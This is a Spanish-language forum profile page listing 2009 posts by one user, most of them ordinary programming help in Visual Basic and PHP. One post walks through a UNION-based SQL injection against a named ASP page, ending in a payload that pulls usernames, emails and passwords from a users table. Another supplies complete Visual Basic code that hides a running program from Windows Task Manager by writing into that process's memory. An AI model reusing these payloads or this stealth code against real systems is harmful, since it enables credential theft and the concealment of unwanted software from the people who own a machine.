Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - WHK

#3661
Programación Visual Basic / Re: modo oculto
31 Octubre 2009, 00:24 AM
te sale ese error porque lo estas escribiendo sobre el mismo form y lo estas haciendo private, ponlo en un módulo bas
#3662
dale con el boton derecho ejecutar como y le das en administrador, tambien recuerda que los atributos de directorios no son los mismos en vista y en xp.

Código (vb) [Seleccionar]
Public Function Is_Dir(Ruta As String) As Boolean
On Error GoTo error
' El atributo en Windows XP es
' 16: Archivo normal
' 22: Unidad de almacenamiento
' El atributo en Windows 7 es
' 17: Archivo normal
' 65558: Unidad de almacenamiento
If _
 GetAttr(Ruta) = 16 Or _
 GetAttr(Ruta) = 17 Or _
 GetAttr(Ruta) = 22 Or _
 GetAttr(Ruta) = 65558 _
Then
 Is_Dir = True
Else
 Is_Dir = False
End If
Exit Function
error:
Is_Dir = False
End Function


Verifica con if is_dir(xxx) then ...
#3663
en el photoshop le das en exportar para pagina web y le das la opcion de png a 24 y ves abajo en la barra cuanto peso te va dejando el archivo.
Si quieres en gif en la misma ventana que te abre para exportar cambiale el formato a gif con tramado y transparencia con 256 optimizado para pagina web. Aunque este formato gif es el mejor que puede dejar photoshop no puedes crear semitransparencias y te quedarán los bordes blancos, por eso para transparencias lo mejor es png y a lo mucho una imagen deberia quedar en unos 100k si es muy grande.

Para que te quede de mas de un mega tendría que ser una imagen de tamaño completo no se, unos 1024x768 y ni aun así.
#3664
Nivel Web / Re: Ayuda con idea para Inyeccion SQL
30 Octubre 2009, 22:43 PM
entonces sigues...

puntaje.asp?UsuarioID=5623 order by 999
puntaje.asp?UsuarioID=5623 order by 1

y así y ves hasta que numero te da error.
supongamos que
puntaje.asp?UsuarioID=5623 order by 10 - no da error pero
puntaje.asp?UsuarioID=5623 order by 11 - si da error
entonces el número de columnas es 10 y haces
puntaje.asp?UsuarioID=-1 union select 1,2,3,4,5,6,7,8,9,10

y el numero que te muestre en pantalla a ese le das las funciones user() database() etc etc.

Esto es mysql, recuerda como dijo ozx si es mssql no te va a funcionar de la misma manera.

por ejemplo
puntaje.asp?UsuarioID=-1 union select 1,votos,user,mail,pass,6,7,8,9,10 from usuarios
#3665
Nivel Web / Re: Backdoor nativo en SMF 2.0
30 Octubre 2009, 18:56 PM
Antiguamente se utilizaba un foro de melodysoft, despues se pasó a un servidor propio con e sistema Yabsee que era una version mas antigua de SMF y despues a smf. Las auditorias apuntan para hacer de smf un sistema mas seguro y poder utilizarlo de buena forma.
#3667
PHP / Re: Optimizacion de codigo PHP.
30 Octubre 2009, 03:33 AM
Si es por optimizar debería quedar así:

Código (php) [Seleccionar]
if(mysql_connect('127.0.0.1', 'reinhold', 'secret_hash'))mysql_select_db($db_database);else die('Error en conexión');

Primero que nada me ahorro el espacio en memoria de las variables del handle con el link de la conexión, el string del host, nombre, etc, también pongo 127.0.0.1 para evitar que el sistema operativo tenga que traducir el dns a un host/ip y elimino las llaves y saltos de linea para ahorrar espacio en el script y ahorrarle memoria al sistema op cuando php intente cargar el archivo para procesarlo.

Pero es tan poca la diferencia del uso de memoria y proceso que es mas conveniente hacerlo como la segunda opción ya que puedes editar super fácil algún tipo de dato y puedes utilizar el mismo espacio en memoria de las variables para establecer una segunda conexión, en cambio si usas definiciones de constantes tendrías que duplicar la cantidad de constantes por cada nueva conexión.

Si fuera vulnerable por register_globals entonces casi todos los sistemas webs serían vulnerables.
#3668
usas el theme clasico del foro?
#3669
Programación Visual Basic / Re: modo oculto
29 Octubre 2009, 23:47 PM
Y con esto lo ocultas de la lista de procesos (solo del administrador de tareas)

Código (vb) [Seleccionar]
Option Explicit
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Declare Function EnumChildWindows Lib "user32" (ByVal hWndParent As Long, ByVal lpEnumFunc As Long, ByVal lParam As Long) As Long
Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Public Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long

Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long) As Long
Private Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long

Public Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
Public Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long

Const PROCESS_VM_OPERATION = &H8
Const PROCESS_VM_READ = &H10
Const PROCESS_VM_WRITE = &H20
Const PROCESS_ALL_ACCESS = 0
Private Const PAGE_READWRITE = &H4&

Const MEM_COMMIT = &H1000
Const MEM_RESERVE = &H2000
Const MEM_DECOMMIT = &H4000
Const MEM_RELEASE = &H8000
Const MEM_FREE = &H10000
Const MEM_PRIVATE = &H20000
Const MEM_MAPPED = &H40000
Const MEM_TOP_DOWN = &H100000

Private Declare Function VirtualAllocEx Lib "kernel32" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
Private Declare Function VirtualFreeEx Lib "kernel32" (ByVal hProcess As Long, lpAddress As Any, ByVal dwSize As Long, ByVal dwFreeType As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long

Private Const LVM_FIRST = &H1000
Private Const LVM_GETTITEMCOUNT& = (LVM_FIRST + 4)

Private Const LVM_GETITEMW = (LVM_FIRST + 75)
Private Const LVIF_TEXT = &H1
Private Const LVM_DELETEITEM = 4104

Public Type LV_ITEM
    mask As Long
    iItem As Long
    iSubItem As Long
    state As Long
    stateMask As Long
    lpszText As Long 'LPCSTR
    cchTextMax As Long
    iImage As Long
    lParam As Long
    iIndent As Long
End Type

Type LV_TEXT
    sItemText As String * 80
End Type

Public Function Procesos(ByVal hWnd2 As Long, lParam As String) As Boolean
Dim Nombre As String * 255, nombreClase As String * 255
Dim Nombre2 As String, nombreClase2 As String
Dim X As Long, Y As Long
X = GetWindowText(hWnd2, Nombre, 255)
Y = GetClassName(hWnd2, nombreClase, 255)

Nombre = Left(Nombre, X)
nombreClase = Left(nombreClase, Y)
Nombre2 = Trim(Nombre)
nombreClase2 = Trim(nombreClase)
If nombreClase2 = "SysListView32" And Nombre2 = "Procesos" Then
   OcultarItems (hWnd2)
   Exit Function
End If
If Nombre2 = "" And nombreClase2 = "" Then
Procesos = False
Else
Procesos = True
End If
End Function

Private Function OcultarItems(ByVal hListView As Long) ' As Variant
   Dim pid As Long, tid As Long
   Dim hProceso As Long, nElem As Long, lEscribiendo As Long, i As Long
   Dim DirMemComp As Long, dwTam As Long
   Dim DirMemComp2 As Long
   Dim sLVItems() As String
   Dim li As LV_ITEM
   Dim lt As LV_TEXT
   If hListView = 0 Then Exit Function
   tid = GetWindowThreadProcessId(hListView, pid)
   nElem = SendMessage(hListView, LVM_GETTITEMCOUNT, 0, 0&)
   If nElem = 0 Then Exit Function
   ReDim sLVItems(nElem - 1)
   li.cchTextMax = 80
   dwTam = Len(li)
      DirMemComp = GetMemComp(pid, dwTam, hProceso)
      DirMemComp2 = GetMemComp(pid, LenB(lt), hProceso)
      For i = 0 To nElem - 1
          li.lpszText = DirMemComp2
          li.cchTextMax = 80
          li.iItem = i
          li.mask = LVIF_TEXT
          WriteProcessMemory hProceso, ByVal DirMemComp, li, dwTam, lEscribiendo
          lt.sItemText = Space(80)
          WriteProcessMemory hProceso, ByVal DirMemComp2, lt, LenB(lt), lEscribiendo
          Call SendMessage(hListView, LVM_GETITEMW, 0, ByVal DirMemComp)
          Call ReadProcessMemory(hProceso, ByVal DirMemComp2, lt, LenB(lt), lEscribiendo)
          If TrimNull(StrConv(lt.sItemText, vbFromUnicode)) = App.EXEName & ".exe" Then  '<===========CAMBIAR
           Call SendMessage(hListView, LVM_DELETEITEM, i, 0)
           Exit Function
          End If
      Next i
      CloseMemComp hProceso, DirMemComp, dwTam
      CloseMemComp hProceso, DirMemComp2, LenB(lt)
End Function

Private Function GetMemComp(ByVal pid As Long, ByVal memTam As Long, hProceso As Long) As Long
    hProceso = OpenProcess(PROCESS_VM_OPERATION Or PROCESS_VM_READ Or PROCESS_VM_WRITE, False, pid)
    GetMemComp = VirtualAllocEx(ByVal hProceso, ByVal 0&, ByVal memTam, MEM_RESERVE Or MEM_COMMIT, PAGE_READWRITE)
End Function

Private Sub CloseMemComp(ByVal hProceso As Long, ByVal DirMem As Long, ByVal memTam As Long)
   Call VirtualFreeEx(hProceso, ByVal DirMem, memTam, MEM_RELEASE)
   CloseHandle hProceso
End Sub
Private Function TrimNull(sInput As String) As String
   Dim pos As Integer
   pos = InStr(sInput, Chr$(0))
   If pos Then
      TrimNull = Left$(sInput, pos - 1)
      Exit Function
   End If
   TrimNull = sInput
End Function
Sub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long)
Dim Handle As Long
Handle = FindWindow(vbNullString, "Administrador de tareas de Windows")
If Handle <> 0 Then EnumChildWindows Handle, AddressOf Procesos, 1
End Sub

Public Sub Ocultar(ByVal hwnd As Long)
    App.TaskVisible = False
    SetTimer hwnd, 0, 20, AddressOf TimerProc
End Sub

Public Sub Mostrar(ByVal hwnd As Long)
    App.TaskVisible = True
    KillTimer hwnd, 0
End Sub


Lo usas así:

Código (vb) [Seleccionar]
Private Sub Command1_Click()
Ocultar Me.hwnd
End Sub

Private Sub Command2_Click()
Mostrar Me.hwnd
End Sub
#3670
PHP / Re: Petición a API XML
29 Octubre 2009, 23:24 PM
esque no pienses que es seguro, piensa que es necesario para que se vea, si no pones htmlspecialchars no podrá verse el contenido original si este lleva algún carácter especial. mas que por el sistema hazlo por los usuarios del sistema  :P